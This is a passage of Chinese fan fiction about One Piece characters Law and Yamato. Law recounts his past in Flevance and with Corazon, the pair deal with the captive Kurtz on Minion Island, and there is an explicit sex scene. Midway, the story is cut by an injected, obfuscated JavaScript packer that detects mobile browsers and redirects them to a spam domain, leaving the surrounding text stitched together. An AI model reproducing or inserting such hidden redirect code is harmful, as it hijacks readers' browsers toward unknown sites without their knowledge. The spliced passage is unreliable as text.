不过经年尘埃还是让地面看起来灰扑扑的,双脚一旦踩上去便有明显的痕迹,只是尘埃或许也早已盖住了过往到访者的足迹,竟丝毫看不出有人曾来过这里。 青年停了下来,四处张望片刻,或许真地再也找不到任何一处干净的地方,便干脆又转身回到门外,朝门口的台阶上直接坐下去。 当他转过身来,大和才看到其一向高傲不羁或笑意不明的脸上,好像覆了层淡淡的失落。 旁人不解,干脆一手拎着装书本文件的箱子、另一手拄在暂离海贼船前由其他同伴赠予的狼牙棒上,在手拄长刀的船长身旁坐下。 如果说跟来的人是大和以外的船员,或许会自觉向后坐一点,或干脆站在船长身后。 但新船员或许还没有经过太多规矩方面的熏陶,没发觉“平起平坐”有什么了不得。又或者大和只是觉得此时此刻应该与戴帽子的青年并肩而座,方是代表了身后所有同伴最能显示对船长的支持。 ——他是对的。 起风了。当察觉到身边的热源相隔衣物传来温度,似乎同时也挡住了一部分山风,罗就像原本处在寒冷中发愣,此刻反被唤醒了似地。 突然启唇:“10岁那年我确诊了一项病症,由毒素引发,只能通过直接接触毒素源头中毒或代际遗传,没有传染性…… 他已想了许久,或许此行免不了终将道出,尤其是在渔船那一晚被大和问及故乡。 那时没想好要不要回答,谁料翌日居然倒在自己不想提及的过往中。或许有的“刺”早点拔出来,也是对同行者负责的一种体现。 虽说在日前那场被动重温中,他也还是没有成功“逃出”故乡。 “因为毒素会在遗传中不断累积,毒素携带者发病年龄会随之递减,也就是说等到毒素积攒到一定时刻,祖辈、父母辈、子女辈会在相近的时间发病——我的父母、妹妹拉米,还有生活在同一城镇的所有人也都在那段时间相继发病,我还算是发病晚一些的。 “拉米病的很重,我们的父亲是城中最好的医生,也对此束手无策。然而父亲还是找出了病因并试图上报,可实际上世界政府和王族早在病状彻底爆发前就知道有这样一天; “我们的病是由于开采特定矿物导致毒素外泄引起,世界政府也明白如何遏止毒素,但还是故意隐瞒了真相,继续让国内开采矿物。 “周边国家的人以为这种病会大范围爆发,是因为‘病毒’有广泛传染性,于是在国境线设置了铁网,将我们重重围起来,不让任何物资和救援通过,逼我们自生自灭。如果有人胆敢从铁网缝隙逃出去,就会遭到国境线外的士兵就地处决。 “但是我们的国家也有武器,于是为了活下去,人们组成民兵。战争全面爆发,周边各国一齐围攻,死伤剧增,那些本来发病后还能苟延残喘一阵的人往往死于巷战或撤离前的边境线;我的父母虽然没有参战,也在地毯式搜捕中被外国士兵射杀;拉米被我藏在医院里,但是医院着火了,我再也不能将她救出来……” 青年人沉默了一会,只有寒风在破败的街上呼啸。 “我也被搜捕感染者的士兵发现,不过算我命大,最终靠藏在尸体堆里躲过一劫,黎明来临前趁着他们以为病人都已死光而‘松了口气’,成功逃出国境线。那时我也已发病,皮肤开始一片、一片地变成铅白色,即便躲过战火、逃过边境,我还是要死的,最晚应该活不过14岁。 “——那个病就叫珀铅病;毒素源就来自国家地下丰富的珀铅矿。我的故乡曾因有这种矿产而美丽富足,街上的房屋、商店、教堂等建筑、乃至城镇的主要道路都是天堂般的洁白,因此素有‘白色城镇’之称。我的故国叫弗雷凡斯。” 整条街上只有他1人在说话,这是当然的,但也像极了多年前他流浪在陌生国度街头时对自己说话的场景。 即便已深受珀铅毒害,少年时的罗在走过不同城市时,仍坚持认为:那些城镇、村庄均没有他的故乡美丽。没有哪里再有纯白的都市,也不再有天堂似的幻影。 ——因为就连世上唯一的“白色城镇”都已陷入地狱。 他也不再觉得生在美丽的城市长大是多么幸运。 “打杂的,讲实话,我前天崩溃的时候样子很‘丑’吧……”他正自嘲地回头,所见之情形令他瞠目结舌: “喂,你干嘛哭成这副德行?我都没哭呢,好吧!” 不,这是谎话;他早就已经哭过,很多次了,梦里梦外—— 在仰仗的父母死去时、鼓励他的修女和同学暴尸街头时、等待他救援的拉米身陷火海时,在国家陷落而绝望时,也在他暗暗决定在病死前要彻底报复这不值得信任的世间时。 事实上,放弃曾经所爱的人间,远比希望破灭时还要痛苦。 大和本以为自己是替代所有同伴陪伴和支撑船长,想不到此刻还坐在罗的身边,就只能自顾自伤心地泪流满面。 痛苦或者悲愤都无法形容他此刻听到真相时的心情。其实就算罗没有讲之前那些亲历的事实,只要告诉他其实罗的故乡就是弗雷凡斯,他就明白了。 他知道“白色城镇”弗雷凡斯!早就知道。亚伯拉罕律师的记录本上就有这段载录。那时读到,他只觉得这世上怎么会有这么惨痛的国家,怎么能想到其实他最喜欢的船长就生在那里? 罗居然是亲历者,更不可思议的是他还幸存下来。 ——14年前,1个10岁的孩子,要怎么做才能独自从重重的人为悲剧中活下来啊? 涕泪横流不足以形容此刻他的狼狈,罗忽然觉得,自己刚刚问的问题好像也无所谓了——即便崩溃时表情再难看,可能至多也就与此刻的大和“平分秋色”——“丑”不“丑”的,再怎么难看,也有人陪自己一起难看。 本来应该独自悼念不幸的同胞,或是为不公的待遇而忿忿,眼下好像都没必要。 反正有人替罗哭得如决堤之水、稀里哗啦。而罗这个当事人看着他,几乎都以为他快喘不上气了。 ——24岁,已经是青年的罗顿了顿,反倒面朝如今身边哭泣之人,露出一抹无奈的微笑。 “好了,好了……”戴帽子的年轻人伸出手臂将旁人揽入臂弯,捎带着在其肩头轻轻拍打两下,如同哄哭泣中的孩子,语气亦温柔地不像话。 “我的话还没讲完呢,你可别抽过去了,打杂的。先深呼吸,给我一口气听完,别留我独自在这自言自语啊。” 感觉到原本抽噎的人似乎在努力自制,慢慢平缓下来。罗想了想,才正式将他们来这里的理由娓娓道来。 “逃出来之后,我决定开始学着杀人,”年少立志学习医术,而今也的确是医生的男人说,“我打算尽可能地多杀人,大肆地破坏一切,至少到死之前,把我能见到的世间一切都搅得一团乱才好……但有位恩人阻止了我。” 理智地想一想,无论日前噩梦中有无逃出追捕,实际在14年前他已经成功逃出来了。 怀抱真实温热的旁人,他终于想明白,只有这一点最清楚:是的,已经逃出来了,才有如今清醒活着的他。 34.piece 34-罗的真相与米尼翁岛 青年说他为了达到“死”之前的计划,特地作了一番调查。 最后决定“投靠”彼时活跃在北海且臭名昭著的海贼团,唐吉诃德家族,加入他们并锻炼“杀掉更多人”的本领。 听见罗提到的名称,大和就将头抬了起来。 ——在近期整理情报时,这个名称对他来说已经不能再熟知了。 原本他以为罗只是想找到对付四皇凯多的切入点,难道目的还不限于此? “但我的‘计划’一上来就差点失败,我遇到了那个男人——唐吉诃德家族的二代红心‘柯拉松’——唐吉诃德-罗西南迪,他是唐吉诃德-多弗朗明哥的亲弟弟,也是救了我的大恩人。” 罗对唐吉诃德家族的任何人都毫无敬意,唯独叫他的恩人“柯拉先生”,但那也是很久以后的事情了。 在少年刚试图加入海贼团时,由于柯拉先生装作很讨厌小孩子,会将试图前来“家族”投靠的小孩或揍一顿、或直接扔出窗外。 少年时期的罗就曾被柯拉先生不止一次地“欺负”过,也因此一度恨透了柯拉先生,而这其实是柯拉先生为了帮孩子们远离危险的帮派或“家族”,将被自己“欺负”的孩子们赶走所作的伪装。 柯拉先生真正的身份是海军军官,为了调查兄长多弗朗明哥在枪杀生身父亲后多年行恶的犯罪事实,而作为卧底潜入帮派,防止多弗朗明哥作出更可怕的恶行,也在此过程中阻止更多小孩子加入疯狂的帮派。 但是彼时罗有内心不可动摇的念头,他成功留了下来,并受到多弗朗明哥的器重,跟着帮派成员学习各式技能,参加了各种各样的行动诸如抢劫、火并,不一而足。 直到某天罗对帮派中的其他小孩透露了自己的真名,“特拉法尔加-D-瓦铁尔-罗”,被柯拉先生听到后带走。 柯拉先生要他远离多弗朗明哥,因为男人所相信的“D”之一族的传言;罗明言拒绝,因为少年很清楚自己因珀铅病很快就要死了——什么传言和他都已无关——对此,柯拉先生选择直接逃出海贼团,带他四处求医看病。 “我那时很震惊,不明白他为什么要管我的闲事,即便在此之前他看起来就不像真正的坏人。 “而我实际也不想去看任何医生,因为世界政府仍未遏制有关珀铅病会传染的谣言,弗雷凡斯陷落不过2年,世人还记得这个病有多可怕……哪怕是医生也只会怕被我‘传染’而已。” 柯拉先生将所有表现出歧视珀铅病人的医生都揍了一顿,却还是坚持扛着少年四处求医,哪怕少年因为受够了歧视而表现得十分痛苦。 可这样的坚持并无效果,他们几乎走遍北海每座有医生的岛屿,在此过程中少年的病还在扩散,甚至多次并发高烧、晕厥等症状。 少年承受了身体和心灵的双重折磨,男人都看在眼里,也曾在他以为少年已经熟睡的夜晚为罗的不幸而痛哭流涕——实际上罗都知道——哭相不比如今的大和强。 罗明白柯拉先生的好意,其实从他带着自己四处看病时就依稀明白了。少年只是受不了世人在原本就伤痕累累的自尊心上再一遍遍地撒盐。但他不再反抗,配合男人到处求医,然后看男人暴揍“庸医”,如此往复,一直流浪到北海最后一座有医院的岛屿。 罗或许就是在那段时间开始喜欢流浪的。因为柯拉先生也曾告诉他,治好珀铅病后,他们就彻底抛下一切,自由自在地去周游世界——那时男人还不承认自己是世界政府的海兵。 “直到多弗朗明哥终于用电话虫联系过来,告诉柯拉先生‘手术果实’的下落——就是在这里,就在这个岛上——海军即将从海贼手里花50亿买下恶魔果实。” 从记忆中走出的少年——如今已是青年——说话的同时也伸手指了指脚下,并告诉臂弯中的白发同伴,亦是青年船长的海贼船员与恋人。 “柯拉先生带我赶来米尼翁岛,为的是在海军和海贼交易之时抢走‘手术果实’给我吃下。 “我记得那时自己已经病得很重,连走路都没办法坚持。长时间高烧致使我经常处于昏迷,因此到底如何登岛都记得不是很清晰,只记得柯拉先生将我放在‘幽灵镇’这桩房子里,让我躲起来取暖,他独自去抢夺手术果实。” “那个男人……”罗说到此处五味杂陈地笑了一下,“他平时就脱线到能在平地把自己绊倒,我真不知道他是怎么做到能一个人成功抢到的……” 10年前冬夜好像就在眼前:山顶的火光,幽灵镇唯一一间有火烛的屋子,天空中飞舞的雪片、门前厚厚的积雪、终于踏雪寻回来的高个男人。 ——他说吃吧,将恶魔果实吃下去,快点好起来,然后他们从此隐居,远离世界政府、海军、海贼、帮派…… 青年罗发觉手背上又落下一颗水滴,很快在寒风中变得冰凉。 原以为又来自于身旁“没出息”的恋人,回神才发现自己的脸颊上也有相似的冰凉。 “柯拉先生的行动被人发现了,伤得很重。海贼们一路追出来,也引发前来交易的海军注意。海军之中其实也潜藏了‘家族’派遣的卧底,我事前不知道…… “我又错信了‘海兵’一次,竟然这么巧就落在初代‘红心’维尔戈手里,这下多弗朗明哥和家族其他成员确知了柯拉先生背叛的消息,从附近的集合地点赶来。 “多弗朗明哥的果实能力很棘手,柯拉先生为了能让我有机会从帮派手中逃出去,将我放进海贼们的藏宝箱,也不让我发出任何声音。他‘骗’我说多弗朗明哥不会杀他这个亲弟弟……” 戴帽子的青年停了下来,因为平静的语调一时难以维系。 臂弯中的白发青年像是已经懂了这段过往的“结尾”,立时将濡湿的脸庞抬起来,静静地看了他一眼,遂伸出手臂将他兜头搂住。 再次出现的抽噎紧贴罗的耳畔,虽然没有哇哇大哭,但想也知道那人压抑得有多辛苦。 罗好像又有些无奈地垂下眼帘,被迫将下巴架在白发人的肩与头之间。终究,他还是扔开了右手所握的妖刀,转而紧紧搂住对方后背。 “哐当”两声是这两个年轻海贼丢开武器任其倒下的结果。 有温热的液体从靠在脑边的白发人脸庞流入他的衣领,滑过颈项、蒸发于胸口; 就像他也亲眼看着自己睫毛上抖落的水滴滚入雀尾样艳丽的发梢,之后消失不见。 他听见了鼻腔抽气时响动的声音,不确定是谁的,便不禁说:“实在忍不了就哭出声来,打杂的——连哭得时候都不让你出声,那我得多‘坏’啊?” 头边的头似乎向内动了动,肩膀抵着肩膀微微颤动,鬓角蹭过鬓角,耳朵擦着耳朵…… 恋人搂着身前的恋人,少顷终于不再强忍,放声大哭。 没有安慰的言语,讲不出互道衷肠、推心置腹,他只有哭声,可实际也好像已经打破了“约定”——只有这一回,不会再有了——他和自己约定。 殊不知怀里的年轻男人借着他的哭声,缓缓于不断流动的泪光中凝结出明媚而感慨的笑意: 柯拉先生,看到么?有人像柯拉先生一样为我哭泣; 10多年过去了,谢谢你未使我放弃这个已经发臭的世间,我活下来了,才又遇到这样的男人。 - - 他的脚步从容而坚定,不再有一丝少年时的孱弱,已经毫无悬念地成长为可独当一面的青年。 戴帽子的男人一手拎着文件箱,一手牵着同行之人。 环抱两人武器的白发人时不时还会打出一两声可爱的哭嗝,暂无名号的无刺狼牙棒便会与妖刀鬼哭轻轻磕碰一下…… ——每当这时,罗就忍不住抿起嘴角,想提醒别把他的刀鞘磕坏了,但根本酝酿不出那种故作凶狠的语气来。 没办法,应该是他们携带的东西太多吧。 到达城堡所在的高地,罗还是当即向建筑背面走去,决定先放下一些“负担”。 “没记错的话,就是这里。当年那些人堆放藏宝箱的地方。”他松开手,主动走到一处空地前,“我就藏在那堆铜臭里,亲耳听见多弗朗明哥用完枪管里所有的铅弹,他杀了自己的血亲兄弟—— “而柯拉先生,把他的命给了我,却被那帮混蛋扔在雪地里奄奄一息。我对自己发誓,一定要为柯拉先生报仇。” 他取出手提箱中零零散散的文档——或是从报纸中整理出的线索,或是从军方手里偷到的资料、或是情报贩子售卖的信息……以及写有两种字迹的整理成册的文书,现如今一切都已经印在他的脑子里,很快就将形成一段明晰的计划。 “——现在大致的战略已经有了。大和,我要挑起四皇与唐吉诃德家族的矛盾,让他们自相残杀,以多弗朗明哥的实力定然不敌,德雷斯罗萨也终将从他手中挣脱出来。当年柯拉先生没有完成的事情,将由我继续完成。” 细小的火苗从擦火皮上亮起,青年将之丢进已然完成使命的资料堆中,目睹火焰引燃的纸片在风中旋转飞舞,很快变成灰烬,和青烟共同化作一段捎往天堂的去信。 一切燃烧殆尽,罗将剩下的几本书装回箱子里。再次起身转向已经平静下来,只不过还顶着一双“核桃”眼瞧他的男人。 “那些资料在通过玛丽乔亚的时候会被搜出来,反正也带不过去,就在这里当纪念柯拉先生了。”罗重新接回自己的长刀,一面对大和解释,“所有内容我都已经印在脑子里了,放心吧。” 大和点点头,也在同时伸手试图将手提箱接过来。然而罗只是坚持用单手握住刀柄与提手,却让大和拉住他的左手。 将修长的手指穿过指缝,他这才满意地点点头。 “做好今晚还是只能睡在船上的心理准备——不过看这势头晚上的风浪不会小——现在进城堡检查一下那秃子今天下午的努力成果吧。” 大和偏头无奈地一笑,意思不言自明。 无论睡在陆地抑或海上,无论是风浪中还是宁静无波,无论北海抑或伟大航道,他到哪里都会守着罗就对了。 - - 应该说当人们将预期降的足够低时,虽然不排除一些时候现实还会更糟,但极偶尔的情况下,结果还是能给人一点点惊喜。 看来库尔茨好歹对于“医护卫生标准”还有点头绪,主卧房、餐厅和浴室都收拾出来了——尤其是餐厅,明明是整栋城堡中最大的宴会厅,居然也能被他擦得干干净净。 虽然还有当年打斗中弄坏的桌椅残骸、碎玻璃渣,以及地板和桌面上抠不掉的陈年鸟粪,但效果已经超出预料。 大和如果不是不能说话都想主动夸一夸他。 “可窗户都碎了。这么冷的天,谁在这吃饭?”罗倒还是一针见血地指出问题所在。 眼瞅那堆了满脸谄笑就等个赞许的秃顶男人又要哭丧个脸,青年立刻撇开眼,不耐烦地摆了摆手。“罢了,正好你自己住在这吧。” 说完就要拉着白发青年离开,脚步一顿,忽然面带冷笑转回头来: “顺带一提,你可别以为离开我的视线后,在楼下干点什么我都不知道。莫忘了咱俩的帐得算清之后,才能放了你。” 说完才要走,却见白发青年拉了拉他,比划了几个手势。 库尔茨自是看不懂,却见七武海皱皱眉,一脸不高兴地摇头。于是“哑巴”跟班又比划了几个相似的手势。 七武海这才阖上眼睛叹了口气,再次睁眼后,转过来对戴海楼石手铐的男人道:“屋后有木柴,可以烧壁炉——记得先把烟囱清一清。” 库尔茨一愣,后知后觉似乎七武海其实是“担心”他在宴会厅过夜……冷? 心有异样,刚要确认一下,却见那年轻漂亮的七武海已经拽着同行的俊俏哑巴,匆匆上楼了。 不过直到晚饭结束、同行的两名年轻人似乎也已先后完成洗漱,库尔茨也并未为抵御即将到来的寒夜做任何努力。 白发青年到楼下扛走行李箱和就寝物资时,库尔茨还一声不吭地裹着睡袋躺在沙发上,只露出一双小眼睛谨慎地打量黑暗中的一切。 寒风果然愈加凛冽,从破窗呼呼地吹鼓进来,破碎的顶灯链条“吱呀吱呀”晃个不停,更衬得夜色凄冷萧索。 耳听楼上的人声似乎已经停息许久,库尔茨还是警惕地多等了1个小时,这才暗自激动地爬出睡袋。 他先是抬手拽了拽单锁在左腕上的手铐,的确还是找不到任何破绽后,便下定决心向外跑去。 为这一刻他已等待许久。在船上就已经策划该如何单独驾船逃走。虽然多数物资已被取下搬入城堡,但只要帆船上还留有够他单独1人1日的饮水,就有办法东山再起—— 或许立即回先前的港口城市有些风险,那些过去给他充当手下的海贼混混也不知是否已经被海军抓了起来,无所谓了……他可以先就近去其他有人类的岛屿,想办法打开手铐,然后只要能使用“精神果实”能力,一切就尽在掌控,何况帆船上还保留着他的全部财宝…… 计划在库尔茨脑中上下翻腾,连带着逃跑的步伐也加速翻飞起来。 ——哈!蠢蛋七武海小子,还有那个看起来虽然很强但一看就头脑简单的哑巴:再也不见了! 嘎!—— 脚步就像他的心声一样突然刹车。是他见了鬼么?明明应该留在城堡里呼呼大睡的哑巴,为何此刻就扛着那柄奇特又看似毫无杀气的棒槌,站在5米开外的地方? 虽然不排除是这两天被他人“控制”快要抓狂出现的幻觉——个鬼啊!他自己就是心理医生,这绝对不是幻觉! 库尔茨调头就跑,说来他对哑巴是真地有心理阴影,此刻比起七武海来他反倒更怕——“嘎啊!为啥又出现1个!”——刚才还站在另一方向上的白发青年又凭空出现在前方。 这下无论库尔茨朝哪个方向跑,永远在5米开外处必站着鬼一样的白发人。 狂风吹散青年的白发,看不清脸庞,夜色中衣袂翩翩的魅影与他早先在库尔茨印象中留下的恐惧记忆相辅相成,令尝试趁夜逃跑的男人膝盖一软,跪在低温冻土上。 ——凉了,彻底凉了。 “这么跑了一大圈,也该不冷了吧?”脑后传来的风凉话又令库尔茨一激灵,“早就提醒过你,还非得害我们大半夜和你一起吹冷风,我说你个秃子……真以为我不知你在想啥?” 七武海裹着厚实的黑色大衣,悠哉游哉的脚步却好像毫无“吹冷风”之感,反似闲庭信步。 “虽说我家‘助理’担心你冷,但我看你在‘取暖’这方面还是很有办法的。” 惯会嘲讽人的青年停步扶额想了想,忽然面露灵光乍现的表情,瞪眼笑道:“原还发愁你如果逃了该怎么惩罚才能长记性,多亏吹过冷风,这不就有了!——听说过‘灰姑娘’的故事吗?秃子。” ——在抵达米尼翁岛“幽灵镇”度过首晚的心理医生库尔茨看来,如果站在零下数十度的寒风里,还好似不怕冷的哑巴如同白发恶鬼,“像”人类一样穿着厚实的七武海则干脆更像刻薄的魔鬼。 亏他先前在帆船上炸了厨房,被七武海不耐烦地处理烧伤时,还一度“误以为”那是个与传闻“死亡外科医生”不同的好医生。 以及入夜前那几句好像关心他怕冷似的嘱咐…… 可实际上七武海的本质简直比他还坏!亏他自以为已经算是罔顾人性蔑视道德之人。 - - “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097504|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灰姑娘”要在捡齐所有的豆子后,才可以同“继母”与“姐姐”去参加宴会。 ——因海贼库尔茨图谋趁人不备偷船逃走,罗再次将其从头到脚削成3份外加1颗心脏,分散到米尼翁岛上各处,只将心脏留在城堡的地窖里。 “这不难,也就才4个部位而已,按我之前设想应该再细分一些——还不是你不赞同,我早在刚上岛就想这么干了——等他找齐就可以跟我们坐船去别的岛屿;” 终于出了一口恶气,重回温暖舒适的城堡大床,黑发青年后仰时表情略带得意,正好压在另1人身上。 “如果找不齐么……正合我意。” 大和好笑地看看躺在胸口的男人:‘你真打算在他完成那些要求后,就放了他?难道不是叫海军干脆抓走更好?’ 罗暂未回答,反而定定地瞧着他。“你打算这些天在只有我们两人的情况下,也这样和我交流?” 听罗这样问,他停顿下来想了两秒,还是点点头。‘虽然风险概率很低,但还是先继续装聋作哑吧。我已经想好了,不到你说计划完成的那天,都不会再开口的。’ 还有比他更棒的同伴么? 罗仰头怔怔地看了他一会。 只觉得白发人哭过的眼睛消肿后,又终于变回琥珀或美人蕉那样漂亮。 眉清目秀,笑容亦十分温柔。令人多看一会就觉得心痒痒。 “不能直接交给海军,否则刚到手没捂热的财宝转眼就会因为七武海的‘纳贡’制度被卷走。放心吧,我自然不会那么轻易放了他。” 签订七武海条款时大和也看过相关内容,点点头表示明白了。 窗子忽地一阵战栗,两人双双看去:浓重不见一丝光线的夜幕中,狂风怒吼着,陆地与更远处的大海正与之对抗,似乎正在争夺天与地之间谁才是主导者。 幸好,他们在开始刮风之前就登陆到了岛上。不然此刻若还在帆船上,只怕一整晚也无法安眠。 然而屋外越是狂风肆虐,越衬得屋内温暖静好。 眼下正躺在柔软床垫中的人这么想着,身前传来更令室温升高的暗示。 “话说回来,你还记得我们是来‘度假’的吧。”声音好听的男人反手将所靠之人的下颌轻轻勾了回来,“不记得我就再说一遍:这些天都只有你我两个人……” 朱眸顺势向下看。 斜躺在身上之人眼神挑逗,细挑的眉毛下,淡青色眼圈像涂了层黛粉在烛光点亮的床头灯下微微细闪,同样反光的,还有与修饰瘦削脸庞的须鬓同色的黑色短发,正在恶作剧似地轻搔他的肩头、胸口。 将此景尽收眼底,或许任何人都无法拒绝对方的邀请。 就好比看见一头原本孤高美丽的野兽,纡尊降贵走到面前来,主动示意替它搔搔下巴——没人能放过这样的机会不伸出手去。 莫说拒绝,他此刻觉得光是像以往一样亲热还不太够——不单是此刻,而是总有这种感受——比起接受爱抚和滋养,更想要给予和取悦对方。 不止是给予…… 他刻意压制心口的冲动,不急不躁地替男人解开衬衫的纽扣,一颗、一颗…… 逐渐暴露出来的蜜色胸膛在灯火下如有一层蜡光,随着呼吸鼓胀收缩而生机勃勃,向下望是一条条纵横交错的原始线条,原始粗犷却饱含自然最顶级的审美旨趣: 力量,性感,还有说不上的微妙的优雅感。 他看见自己的手指与手背顺着圆弧形状的大片胸肌向前推移,划过一小片战栗,向着更远处的线条沟壑抚摸而去—— 这片“山野”如此美妙,让人联想起丰饶的丘壑与田园,且远比他的肤色更深,令他羡慕,甚至也想拥有这样健美的肤色与身躯。 耳旁有轻微的抽气声,或许就像外界的狂风抚过山川时大地发出的回应。他听着,又好像没听到,伸长手指又继续向前探索。 褪去总能将男人双腿包裹修长笔直的牛仔裤,方知过往衣摆之下的优美线条并非全来自于裤子设计的功劳,真正劳苦功高的还属本就力量饱胀的肌肉与纤长的韧带——他就像能透过肌肤看到鲜红跳跃的皮下组织,一寸也不肯挪开目光地打量,掌心继而覆上—— 轮廓为他的欣赏而愈加紧致,修长的线条就像活了过来一样为他跳动。 他未注意到,也的确不可能看到,自己的眼神已经变得像嗜肉的狼一样贪婪。 唯独的旁观者——亦是被紧盯的当事者——注意到他比往常更幽深专注的瞳孔,愕然中又被挑起了不相上下渴求欲。 “打杂的……要么现在自己坐上来,要么给我一整个‘吃’进去……” 大和听着这样带有胁迫意义的口吻,却一点不觉得心慌,反因感到太过可爱而笑着咬了咬唇,这样的动作又或许只是提醒自己:人肉被牙齿咬到是会疼的,可他也不想让自己喜欢的人疼。 虽然本能真地很想让他“伤害”怀里的“猎物”,甚至大脑某处不听使唤的原始欲望已经在预先描绘对方紧张、求饶、哭泣、挣扎……的画面。 ——但那些是不可以发生在罗的脸上的。不行。 他依理智强行打断幻想与自己双手正行进的路线,送到男人面前比划道:‘我好想有和你一样的身体。’ “……现在这种情况你跟我聊这个?”罗简直咬牙切齿,无奈却还只能回答:“没明白。什么意思?” ‘就是这个——’ 他好像答非所问,实际因为双手必须空着用于交流,顿了顿,只得暂且“斗胆”借助足尖轻轻捻开对方已然骚动的纯白色内衣,终于释放出其下因阻挡解除而展露无遗的“欲望聚合体”。 ‘——我想进入你的身体。把我的感受给你。’ 他直白地坦诚想法,但一时半刻还是有些抽象和模糊。而怀中的男人已经被他弄得晕头转向了,急不可耐道:“都行!随你便。你以后再慢慢研究,自己想好了就告诉我。现在麻烦先‘放过’我……” 像得了什么了不起的首肯,大和龇牙无比灿烂地笑了。 他也知让罗再等下去有些不地道,可就是想再仔细看看这头漂亮的小“豹子”更多魅力十足的模样。便只好速速将枕头与手边能抓到的靠垫垒在一起,为了能让对方再舒服一点,扶他靠在自己临时搭建的“堡垒”上。 罗对他这一点实在又恨又爱。体贴地过了头、温柔也过了头,其实有时候明明可以再粗暴自私一点的——自己又不是小气不肯妥协迁就他。 ——可话虽如此,眼下却还是忍不了要求道:“快一点……” 这语调和平素吆五喝六时比起来,简直可以叫“软糯”了。连说话人自己听到都不禁脸颊一红,赶紧闭嘴。 但大和已经听到了,俯首之前先抬眼笑了一下,改变原打算低头的方向,先攀上去吻男人的唇。 ——嗯!罗事实上也就像他的声音一样“糯乎乎”呢~当然这话千万不能告诉罗,可能会生气,可能性很大。 放下杯水车薪的吻,又包裹兹事体大的欲。就着摇曳不定的火,观赏起起伏伏的影。 在他双目之上,是呈仰靠于软垫上再难压抑的“田野”、“山峦”,沟壑如阡陌或展或缩,汗液若雨露温润丘峰,凝聚蜿蜒,溪流似地淌过肌肤又隐入须发之丛。一吐一吸间,更远处,迷蒙的漂亮的面孔半合双目,松弛鲜红的唇边溢出四月春风也仿不出的动情。 ——啊!“救命”,他遇到的人也太过迷人。 让他不但想拥有彼之身体、彼之内在,钦慕之余甚至想到要彻底掠夺。 是的,不只是给予、取悦、占有,甚至是更深入地探索,侵入其尊严的领土。 他想要给予喜爱之人的喜悦,竟似“侵略”。 35.piece 35-罗的真相与赌局 快一个星期过去,由于心脏还保管在城堡里,库尔茨首日之后再也没做什么偷鸡摸狗的坏事。 倒在某对情侣或休整、或锻炼,或在城堡厨房里尝试菜谱、或进卧房恩爱之时,心理医生忙着在整座岛上找自己的躯干和下肢,同时回忆一生当中直到吃下“精神”果实之前,每每无法掌控局面的无力感,就像近日遭遇这样。 像七武海那样的男人,一定无法理解他这样丑陋不被爱的人所经历的惨痛记忆; 至于白发的哑巴,虽然长得漂亮,实力又很强,但毕竟有着天然的缺陷,或许还能…… 不对——库尔茨突然想到——七武海曾在被他击中头部点位后,陷入回忆而倒地惨叫。 他用能力致使人们陷入回忆时,往往会引导对方想起最为深刻而情绪化的记忆,而往往此类记忆形成于成年以前,在这种情况下人们同时还会陷入“孩童心智”,不再以成年人的理智思考、越加沉浸于过往的惨痛。 因此这是能给受害者带来连环打击的精神攻击法。 可是库尔茨忽然不明白了: 七武海这样的男人要模样有模样、要能力有能力,好像不用太费力就能让白发哑巴那样的人爱戴和跟随他、且还任其“打压”责骂…… 这样的人能有什么太悲惨的过去? 如果真有,他应该也已经心理变态才对——这或许就是他非要找个哑巴当同伴的原因! 毕竟心理变态之人哪有正常人会爱他,心理变态之人也不会懂得真正去爱别人。 就像库尔茨,对他来说,爱只是停留在书本层面的概念,他可以在读书时默写下来,或用于诊断别人,以及在成为海贼后用来攻击别人。他自己可没有,也不需要…… 他不需要。 ……不,他需要。 漂亮哑巴忘乎所以地抱着七武海的场景,好像就在眼前。 库尔茨很清楚那一时刻哑巴大约伤心欲绝,乃至之后爆发出惊人的气势,都因为所爱之人倒下——这太容易判断了,简直是教科书级的反应——哑巴那么喜爱七武海,哪怕本身很强,甚至有一定可能比七武海还要强,却也任由七武海使唤。 哑巴自己明明也是不健全的人,为什么可以全心全意地爱别人?七武海有什么值得他爱呢? 七武海过去有着惨痛的经历,可怕的记忆将近10多分钟都未结束,是被抛弃、背叛了,还是遭到欺负、侵害了——有这种过去的他,为什么还会有人爱呢? 很可能哑巴也是肤浅的,一定是被七武海的表象所骗了!要么就是七武海太恶劣,利用了哑巴的弱点。 看吧,七武海对谁的态度对很糟糕,这样的人肯定会遭人背弃的。就算哑巴再心善,迟早也会在明白无法得到自己幻想中的爱而离开他! 库尔茨就看着,等到什么时候七武海也众叛亲离,或者七武海终会主动背叛爱他的哑巴。 对了,这可是专业的心理医生“诊断”;理论不会错的!人性如此,人世间的悲剧只会循环上演,只要人性中还藏有卑劣、怯懦,就没有人能打破被害者加害下一位被害者的“周期律”! - - ‘真地不带他吗?’ “不带。”罗几乎1秒不停地回答。“3块肢体,1个星期怎么也找齐了,到现在都不出现,说明要么是故意躲起来,要么实际是笨蛋、懒蛋。” 大和歪头看了看他。‘不然你用能力找找看?’ “不找。”戴帽子的青年还是一口否决。“反正城堡里的食物也够他吃了,岛上又有水源,让他自己在这慢慢折腾吧。我们把心脏交到海军基地去,走!” ——罗真是……也太可爱了。 大和抿了抿唇,没再反馈任何信息。反倒旁人这时龇牙咧嘴地抱怨他:“我说,你也别太善良了。那种秃子混蛋明显不会悔改的,想想他干的那些事,你觉得他值得同情?好心也分用在什么人身上吧!用在不可救药的人身上,简直是浪费……” 白发人站在帆船的甲板上遥望被白雪覆盖的米尼翁岛,过去几个温馨快乐的日子也像雪一样覆盖他的记忆。 他转过头来微笑:‘可是,把救生船留在岸边的人是你,你不就是留给他的。心脏也留在城堡了。’ “少啰嗦,还不是因为直接交给海军,会被发现我们私吞了财宝?!”被人戳穿真相的男人好像就连帽子上的绒毛都炸了起来,“还有,你怎么还杵在这?这船上现在只有你和我,你当船长还是我当船长——去把帆立起来,看好舵!” ‘好吧。那我可以把船开到海燕岛附近看一眼嘛?’ 自从知晓罗在离开柯拉先生后就去了海燕岛生活,大和就不免好奇。 